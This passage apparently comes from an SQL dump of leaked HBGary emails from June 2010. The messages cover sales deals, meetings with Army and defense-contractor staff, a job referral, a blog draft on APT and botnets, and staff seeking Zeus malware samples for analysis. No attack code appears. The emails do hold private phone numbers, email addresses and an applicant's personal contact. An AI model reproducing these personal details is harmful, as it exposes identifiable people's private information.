<aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Snook','Each of these fish are 26\"-36\" long. Four feet away from me, but they  \r\nare out of season, dang it...\r\n\r\n',12933,'aaron_hbgary_com/12933.html'),(7540,'2010-06-19','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297005640.M290847P14101Q2396.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"penny Leavy-Hoglund\" <penny@hbgary.com>','8-9 Jul meeting & request','Aaron\r\n\r\nHey, we met with Penny this past week about the first Commercial \r\nIntegration Demo.  We would love to have you come if your available this \r\nweek.  We are meeting on the 11th floor of the 2231 Crystal Drive \r\nbuilding we met in last time.\r\n\r\nAlso, you mentioned you knew some good dudes with System \r\nEngineering/Architectural experience and knowledge of Tu?  Would you \r\nmind introducing me to anyone who fits that bill?\r\n\r\nthanks!\r\n\r\nnathan\r\n\r\n\r\n',7153,'aaron_hbgary_com/7153.html'),(7541,'2010-06-19','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005640.M559547P14101Q2397.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','draft blog post for \"APT and Botnets\"',' \r\nYoyo,\r\nI am working on this as a blog post.  Here is a first draft.  It&#39;s getting a bit long so maybe I will pitch it to Karen as an article instead.  Please give me feedback if you have time.\r\n \r\n-Greg\r\n',8045,'aaron_hbgary_com/8045.html'),(7542,'2010-06-19','\"FIRST Conference Staff\" <first-2010@first.org>','/aaron@hbgary.com/new/1297005640.M64438P14101Q2395.eml','aaron@hbgary.com','FIRST 2010 Overall Conference Evaluation is Available Online!','Dear Conference Attendee,\r\n\r\nWe hope you enjoyed your time at the 22nd Annual FIRST Conference in Miami, Florida.  The overall conference evaluation is now available online.  Please take a few minutes to fill out the evaluation.\r\n\r\nWe appreciate your feedback and hope to see you all at the 23rd Annual FIRST Conference in Vienna, Austria.  Visit http://conference.first.org/2011 for more information.\r\n\r\nhttp://s-zagrl-257599.sgizmo.com/i/52893e15522947p65640\r\n\r\nThank you again!\r\n\r\n--The FIRST Team\r\n\r\n-------------------\r\n This invitation was sent by CAPS, LLC - 213 W. Institute Place Chicago, IL 60610  United States. 3123721255\r\n\r\n Unsubscribe from all CAPS, LLC survey emails: http://s-zagrl-257599.sgizmo.com/unsub/52893e15522947p65640\r\n',9389,'aaron_hbgary_com/9389.html'),(7543,'2010-06-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005640.M778192P14101Q2398.eml','all@hbgary.com','RE: We Just Received at','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nRich did his magic on site.&nbsp; In all my years of selling I\r\ndon&#8217;t recall ever getting an order the same day as the onsite eval.&nbsp;\r\nWe had two things going for us &#8211; the bits worked well and Rich must have\r\nhad his Special Forces Mojo going.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, June 18, 2010 6:31 PM\r\nTo: Rocco Fasciani\r\nCc: Penny Leavy-Hoglund; all@hbgary.com\r\nSubject: Re: We Just Received at\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat Job!!!!! \r\n\r\n\r\n\r\nOn Fri, Jun 18, 2010 at 3:04 PM, Rocco Fasciani &lt;rocco@hbgary.com&gt; wrote:\r\n\r\nCongratulations! \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Fri, Jun 18, 2010 at 5:52 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nDeal\r\nfor $192K.&nbsp; Bob, brought in our first law firm, with Rich&#8217;s help on\r\nsite.\r\n\r\n&nbsp;\r\n\r\nWay\r\nto go Bob and Rich.\r\n\r\n&nbsp;\r\n\r\nFYI,\r\nthis was a McAfee lead so this will be published to all McAfee sales people. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nRegards,\r\n\r\n\r\n\r\nRocco Fasciani\r\nRegional Sales Director\r\nHB Gary, Inc.\r\noffice 908 766 2705\r\ncell 201 715 8539\r\nRocco@HBGary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/19/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4603,'aaron_hbgary_com/4603.html'),(7544,'2010-06-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005640.M991588P14101Q2399.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>','On the heels of my bots vs apt blog post','Interestingly, I just picked up this news item.  A series of emails to\r\npentagon officials with Zeus bot attachments.  Can any of you get\r\nsamples of that report.zip?  It would be interesting to find out what\r\nkinds of plugins or mods are being used with that Zeus variant.\r\n\r\nhttp://www.net-security.org/malware_news.php?id=1379\r\n',9225,'aaron_hbgary_com/9225.html'),(7545,'2010-06-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005665.M284872P14101Q2400.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Social Media Brief (UNCLASSIFIED)','Attached is a copy of the presentation.  Absolutely lets get together.  I have a bunch of different times open next week, the week after that is pretty open.\r\n\r\nLet me know what works.\r\n\r\nAaron\r\n\r\n',799,'aaron_hbgary_com/799.html'),(7546,'2010-06-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005689.M65574P14101Q2401.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: REBL','Dave,\r\n\r\nAttached is the brief you requested.\r\n\r\nI found the presentation you mentioned.  I agree good message.  I read some comments concerning it being a little over the top, maybe, but its hard when the vulnerabilities and the risk are so great.\r\n\r\nI agree most organizations are very reactive.  I think most are starting to turn and willing to spend money on technology and people that will make them more secure, but I think most don\'t know how to go about building for protection.  They build for compliance, which doesn\'t at all keep you secure today, but that is what they know how to build to, they don\'t know how to build to protect their specific organization.\r\n\r\nThe measures of effectiveness are definitely difficult to quantify.  But I think there are ways to do it.  As follow-on to training I think organizations need to test their employees, try to compromise them.  If nothing else that can provide valuable statistics on what is working and whats not getting through.\r\n\r\nLet me know when is a good time to get together.\r\n\r\n',8370,'aaron_hbgary_com/8370.html'),(7547,'2010-06-20','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005692.M592267P14101Q2402.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: On the heels of my bots vs apt blog post','I believe this is to referring to an incident earlier this year described by Brian Krebs:http://krebsonsecurity.com/2010/02/zeus-attack-spoofs-nsa-targets-gov-and-mil/\r\nThe sample&#39;s AV detection:  http://www.virustotal.com/analisis/3c1d8359112caf87b33a4d6fedef2f2dbdf03d5d7c0d7f00883afcb6a7e2f610-1265331501\r\nMalware attached.Note:  I tried analyzing this with Responder, ran into a bug, and opened ticket #313 &quot;Dev,\r\n\r\nI&#39;m analyzing a zeus/zbot sample mentioned in the recent Brian Krebs\r\nblog.  DDNA detects the injected code and yields strings but there are\r\nno symbols present.  I&#39;ve uploaded the memory image to:\r\n /home/phil_wallisch/Bug_Fixes/zeus_krebs.rar on support.&quot;\r\nOn Sun, Jun 20, 2010 at 1:30 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nInterestingly, I just picked up this news item.  A series of emails to\r\npentagon officials with Zeus bot attachments.  Can any of you get\r\nsamples of that report.zip?  It would be interesting to find out what\r\nkinds of plugins or mods are being used with that Zeus variant.\r\n\r\nhttp://www.net-security.org/malware_news.php?id=1379\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',6255,'aaron_hbgary_com/6255.html'),(7548,'2010-06-20','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005692.M883377P14101Q2403.eml','all@hbgary.com','RE: We Just Received at','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nForgot to mention that Joe did a great demo for K &amp; S.&nbsp;\r\nWithout their liking that demo and wanting to move forward, nothing else\r\nhappens.\r\n\r\n&nbsp;\r\n\r\nAnd the bits worked!&nbsp; Rich said the clincher, and why they cut\r\nthe PO same day, is that DDNA found malware they didn&#8217;t know they had.\r\n\r\n&nbsp;\r\n\r\nNo individual causes sales.&nbsp; It is a team effort.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Saturday, June 19, 2010 5:38 PM\r\nTo: \'all@hbgary.com\'\r\nSubject: RE: We Just Received at\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nRich did his magic on site.&nbsp; In all my years of selling I\r\ndon&#8217;t recall ever getting an order the same day as the onsite eval.&nbsp; We\r\nhad two things going for us &#8211; the bits worked well and Rich must have had his\r\nSpecial Forces Mojo going.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Friday, June 18, 2010 6:31 PM\r\nTo: Rocco Fasciani\r\nCc: Penny Leavy-Hoglund; all@hbgary.com\r\nSubject: Re: We Just Received at\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat Job!!!!! \r\n\r\n\r\n\r\nOn Fri, Jun 18, 2010 at 3:04 PM, Rocco Fasciani &lt;rocco@hbgary.com&gt; wrote:\r\n\r\nCongratulations! \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Fri, Jun 18, 2010 at 5:52 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nDeal\r\nfor $192K.&nbsp; Bob, brought in our first law firm, with Rich&#8217;s help on site.\r\n\r\n&nbsp;\r\n\r\nWay\r\nto go Bob and Rich.\r\n\r\n&nbsp;\r\n\r\nFYI,\r\nthis was a McAfee lead so this will be published to all McAfee sales people. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be used\r\nby any taxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nRegards,\r\n\r\n\r\n\r\nRocco Fasciani\r\nRegional Sales Director\r\nHB Gary, Inc.\r\noffice 908 766 2705\r\ncell 201 715 8539\r\nRocco@HBGary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/19/10\r\n02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14700,'aaron_hbgary_com/14700.html'),(7549,'2010-06-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005693.M131915P14101Q2404.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,,,','Re: On the heels of my bots vs apt blog post','I checked the dates on the email and the source address, I think the one reported by Sophos is a different incident.  The spearphishing emails from the Pentagon are dated June 17th.  We should try to get the pentagon attachment as well and compare.\r\n\r\n \r\n-Greg\r\nOn Sun, Jun 20, 2010 at 5:54 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI believe this is to referring to an incident earlier this year described by Brian Krebs:http://krebsonsecurity.com/2010/02/zeus-attack-spoofs-nsa-targets-gov-and-mil/\r\nThe sample&#39;s AV detection:  http://www.virustotal.com/analisis/3c1d8359112caf87b33a4d6fedef2f2dbdf03d5d7c0d7f00883afcb6a7e2f610-1265331501\r\nMalware attached.Note:  I tried analyzing this with Responder, ran into a bug, and opened ticket #313 &quot;Dev,I&#39;m analyzing a zeus/zbot sample mentioned in the recent Brian Krebs blog.  DDNA detects the injected code and yields strings but there are no symbols present.  I&#39;ve uploaded the memory image to:  /home/phil_wallisch/Bug_Fixes/ \r\nzeus_krebs.rar on support.&quot;\r\n\r\n\r\n\r\nOn Sun, Jun 20, 2010 at 1:30 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nInterestingly, I just picked up this news item.  A series of emails topentagon officials with Zeus bot attachments.  Can any of you get\r\nsamples of that report.zip?  It would be interesting to find out whatkinds of plugins or mods are being used with that Zeus variant.http://www.net-security.org/malware_news.php?id=1379\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',5440,'aaron_hbgary_com/5440.html'),(7550,'2010-06-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297005694.M993156P14101Q2405.eml','rich@hbgary.com,rich@hbgary.com','FW: resume from Mary Shriner','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI just found this, doh!&nbsp; Mary would be great for HBGary\r\nFederal.&nbsp; She wants to do RE of malware and has been at NSA for years...\r\n\r\n&nbsp;\r\n\r\nI just sent her an email to sync up.&nbsp; Will let you know.&nbsp; Feel\r\nfree to contact her and mention me.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Mary Shriner\r\n[mailto:mary8144l@gmail.com] \r\nSent: Tuesday, May 25, 2010 10:06 AM\r\nTo: rich@hbgary.com\r\nSubject: resume from Mary Shriner\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRich,\r\n\r\nAs I mentioned after your demo, I am currently looking for a new job.&nbsp;\r\nThere has been a new contract awarded to SAIC and over 80 subcontractors for\r\ncomputer forensic/malware analysis positions.&nbsp; I have submitted my resume\r\nto one of the subs, but have heard nothing as yet.&nbsp; \r\n\r\nAll that said, I have been very impressed with the technical advances HBGary\r\nhas made in a very short period of time.&nbsp; I remember using the DOS tools\r\nto perform computer forensics and how the entire community was skeptical of\r\nEnCase during its infancy.&nbsp; The advancements in the hacker community have\r\nshown that dead box forensics is not a viable solution for computer\r\ndefense.&nbsp; HBGary\'s live memory analysis is the way of the future.&nbsp; I\r\nwould love to work for such a fast-paced dynamic team and am hoping that my clearance\r\ncan provide a conduit for a wider expansion into the federal sector.\r\n\r\nPlease find my resume attached.&nbsp; \r\n\r\nI look forward to hearing from you.\r\n\r\nMary\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15465,'aaron_hbgary_com/15465.html'),(7551,'2010-06-21','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297005695.M230066P14101Q2406.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: On the heels of my bots vs apt blog post','Yup you&#39;re right.  I reread the sophos blog and they mention the malware I attached but this is a different spam run.  I&#39;ll see if I can sniff it out.On Sun, Jun 20, 2010 at 7:21 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nI checked the dates on the email and the source address, I think the one reported by Sophos is a different incident.  The spearphishing emails from the Pentagon are dated June 17th.  We should try to get the pentagon attachment as well and compare.\r\n\r\n\r\n \r\n-Greg\r\nOn Sun, Jun 20, 2010 at 5:54 AM, Phil Wallisch &lt;phil@hbgary.com&gt; wrote:\r\nI believe this is to referring to an incident earlier this year described by Brian Krebs:\r\nhttp://krebsonsecurity.com/2010/02/zeus-attack-spoofs-nsa-targets-gov-and-mil/\r\nThe sample&#39;s AV detection:  http://www.virustotal.com/analisis/3c1d8359112caf87b33a4d6fedef2f2dbdf03d5d7c0d7f00883afcb6a7e2f610-1265331501\r\n\r\nMalware attached.Note:  I tried analyzing this with Responder, ran into a bug, and opened ticket #313 &quot;Dev,I&#39;m analyzing a zeus/zbot sample mentioned in the recent Brian Krebs blog.  DDNA detects the injected code and yields strings but there are no symbols present.  I&#39;ve uploaded the memory image to:  /home/phil_wallisch/Bug_Fixes/ \r\nzeus_krebs.rar on support.&quot;\r\n\r\n\r\n\r\nOn Sun, Jun 20, 2010 at 1:30 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nInterestingly, I just picked up this news item.  A series of emails topentagon officials with Zeus bot attachments.  Can any of you get\r\n\r\nsamples of that report.zip?  It would be interesting to find out whatkinds of plugins or mods are being used with that Zeus variant.http://www.net-security.org/malware_news.php?id=1379\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\n\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',12166,'aaron_hbgary_com/12166.html'),(7552,'2010-06-21','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297005695.M443469P14101Q2407.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lunch: Aaron Barr/Tom Conroy','\r\n\r\n\r\n\r\n\r\nLunch: Aaron Barr/Tom Conroy\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, July 07, 2010 11:30 AM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: TBD\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nLocation suggestions?&nbsp; \r\n\r\nThanks Aaron\r\n\r\n\r\n',3805,'aaron_hbgary_com/3805.html'),(7553,'2010-06-21','\"Robinson, Cassie\" <Cassie.Robinson@ngc.com>','/aaron@hbgary.com/new/1297005695.M674901P14101Q2408.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information','Aaron\r\nWhere would you like to meet?\r\n\r\ncsr\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, June 18, 2010 9:25 AM\r\nTo: Robinson, Cassie\r\nSubject: Re: Information\r\n\r\nI didn\'t answer this.  How about the 7th.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 16, 2010, at 11:23 AM, \"Robinson, Cassie\"\r\n wrote:\r\n\r\n> Hey Aaron -- Early July dates that work for lunch with Tom\r\n>\r\n> 7 Jul\r\n> 9 Jul\r\n> 15 Jul\r\n> 16 Jul\r\n>\r\n> Do any of those dates work for you?\r\n>\r\n> Thanks much\r\n>\r\n> csr\r\n>\r\n> -----Original Message-----\r\n> From: Conroy, Thomas W.\r\n> Sent: Wednesday, June 16, 2010 11:16 AM\r\n> To: \'Aaron Barr\'\r\n> Cc: Robinson, Cassie\r\n> Subject: RE: Information\r\n>\r\n> Sounds like a good idea Aaron.  It\'s been too long.  Hope you\'re doing\r\n> well and business is picking up.  Any word on that DARPA contract you\r\n> were seeking?\r\n> Sluggish is a good characterization.  It\'s very puzzling to me.  I\'m\r\n> going out to NSA later this week to meet with a friend who is working\r\nin\r\n> CYBERCOM.  Maybe I\'ll actually have some information worth sharing.\r\n> Cassie, will you please see if we can schedule a get together?\r\n>\r\n> Tom\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, June 16, 2010 9:20 AM\r\n> To: Conroy, Thomas W.\r\n> Subject: Information\r\n>\r\n> Hi Tom,\r\n>\r\n> I hope all is well.  I had dinner with Kathy and a bunch of other\r\ncyber\r\n> folks last night as part of the  cyber group chaired by Bill Varner.\r\nI\r\n> was a bit of an odd ball in that I don\'t own significant cyber\r\nbusiness\r\n> but hope to be able to contribute in other ways.\r\n>\r\n> Anyway, last time we met you mentioned there was someone you thought I\r\n> should meet, but requested some information.  Attached is our data\r\nsheet\r\n> for our offerings in information security services as well as a link\r\nto\r\n> my professional profile and a recent interview.\r\n>\r\n> Maybe we can get together for lunch again in early July if your\r\naround?\r\n> I would love to get your thoughts on cyber command and the\r\nsluggishness\r\n> that continues around cyber.\r\n>\r\n> http://www.linkedin.com/in/aaronbarr3\r\n>\r\n>\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security\r\n> -is-a-hunt-an-investigation-it\'s-a-challenge/\r\n',9536,'aaron_hbgary_com/9536.html'),(7554,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005695.M921447P14101Q2409.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: draft blog post for \"APT and Botnets\"','Greg,I think its a good post.Just to restate a bit to insure clarification.APT I think still entails two different types of threat actors; Criminal underground and nation state. &nbsp;The reason it is important to differentiate is their tactics can be very different. &nbsp;The criminal underground is going for volume, so they are much more likely to use botnets, common UIs, etc. to improve efficiency and harvest. &nbsp;To say they are predominately Russian today is as you say a gross misstep. &nbsp;When the term was coined a few years back it was predominately Russian because they were the first to prove the market, but now that it has been shown there is lots of money to be made you can bet there will be small and large organized groups that will get into the game, but I believe they can all be classified similarly in characteristics.State sponsored could use some of these capabilities, even buy compromised machines. &nbsp;But the big difference lies in intent. &nbsp;Attack and exploitation has been worked into the military and foreign intelligence infrastructure of some of our adversaries. &nbsp;Organizations with very specific mission objectives that are not necessarily financially motivated, or at least not specifically. &nbsp;In these circumstances any and all means will be used to achieve an objective. &nbsp;And the objective may be just a piece of a much larger mission. &nbsp;In this context any attack could be part of APT, ANY. &nbsp;It could look quite routine, even amateurish. &nbsp;The only way to tell is to combine this information within a larger threat intelligence picture. &nbsp;By itself it would likely be impossible to define as APT unless someone screwed up. &nbsp;This is what Espionage and Covert Action are all about. &nbsp;Espionage happens every day by the major countries (and the minor ones) and yet the number of cases that make the press and can be proven you can count on both hands. &nbsp;This threat is far more challenging, and I can tell you no one has made a dent yet, not Mandiant, not HBGary, no one. &nbsp;The best threats out there have not yet been detected. &nbsp;The money and time that goes into developing these capabilities you can measure in the 100s of millions for each major country, the number of people working their capabilities in the thousands. &nbsp;The infrastructure to manage is complex, has redundancy, and is built to not be detected. &nbsp;Think for a moment what an organization can do when what is available is fare more unbounded. &nbsp;Need a persona with legitimate credit cards and identification, no problem, need an ISP overseas to assist, no problem.The state sponsored threat is an entirely different ball game.AaronOn Jun 19, 2010, at 3:47 PM, Greg Hoglund wrote:&nbsp;\r\nYoyo,\r\nI am working on this as a blog post.&nbsp; Here is a first draft.&nbsp; It\'s getting a bit long so maybe I will pitch it to Karen as an article instead.&nbsp; Please give me feedback if you have time.\r\n&nbsp;\r\n-Greg\r\n&lt;APT and Botnets.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1892,'aaron_hbgary_com/1892.html'),(7555,'2010-06-21','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005696.M143652P14101Q2410.eml','aaron@hbgary.com','Meeting (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nMr. Barr,\r\n    Thanks for your briefing, I really appreciate it. I have a writing\r\ncourse from Tuesday to Thursday but I\'m free on Friday of this week.\r\nNext week is pretty open for me. Where are you located? I assume up near\r\nFt. Meade. Our office is in Springfield, Virginia. If we met here it\r\nwould be easier for us to get my boss, Mrs. Brooks, involved concerning\r\nFidelis. She has been leading force in fighting to get monitoring tools\r\nsuch as Fidelis on Army networks. If you are near Ft. Meade or close\r\nenough to metro area I could easily come to you. Let me know what is\r\nconvenient for you and we\'ll pick a time. Thanks\r\n\r\nCPT Steve Turner\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',2391,'aaron_hbgary_com/2391.html'),(7556,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005696.M738025P14101Q2411.eml','no-reply@malwarebytes.org','Error on the forums','Hi,\r\n\r\nI am hoping this is a permissions problem and not a stupidity problem.  I would like to get permission to download malware samples from the forums.  If I already have these permissions and am just not using the forum problem, sorry.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16523,'aaron_hbgary_com/16523.html'),(7557,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005696.M971098P14101Q2412.eml','\"Turner, Stephen W CPT MIL USA\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Friday looks good for me.  I will come to you.\r\n\r\nLet me know time and place and I\'ll be there.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n\r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> Mr. Barr,\r\n>    Thanks for your briefing, I really appreciate it. I have a writing\r\n> course from Tuesday to Thursday but I\'m free on Friday of this week.\r\n> Next week is pretty open for me. Where are you located? I assume up near\r\n> Ft. Meade. Our office is in Springfield, Virginia. If we met here it\r\n> would be easier for us to get my boss, Mrs. Brooks, involved concerning\r\n> Fidelis. She has been leading force in fighting to get monitoring tools\r\n> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n> enough to metro area I could easily come to you. Let me know what is\r\n> convenient for you and we\'ll pick a time. Thanks\r\n> \r\n> CPT Steve Turner\r\n> \r\n> Classification: UNCLASSIFIED\r\n> Caveats: FOUO\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3903,'aaron_hbgary_com/3903.html'),(7558,'2010-06-21','\"Aaron 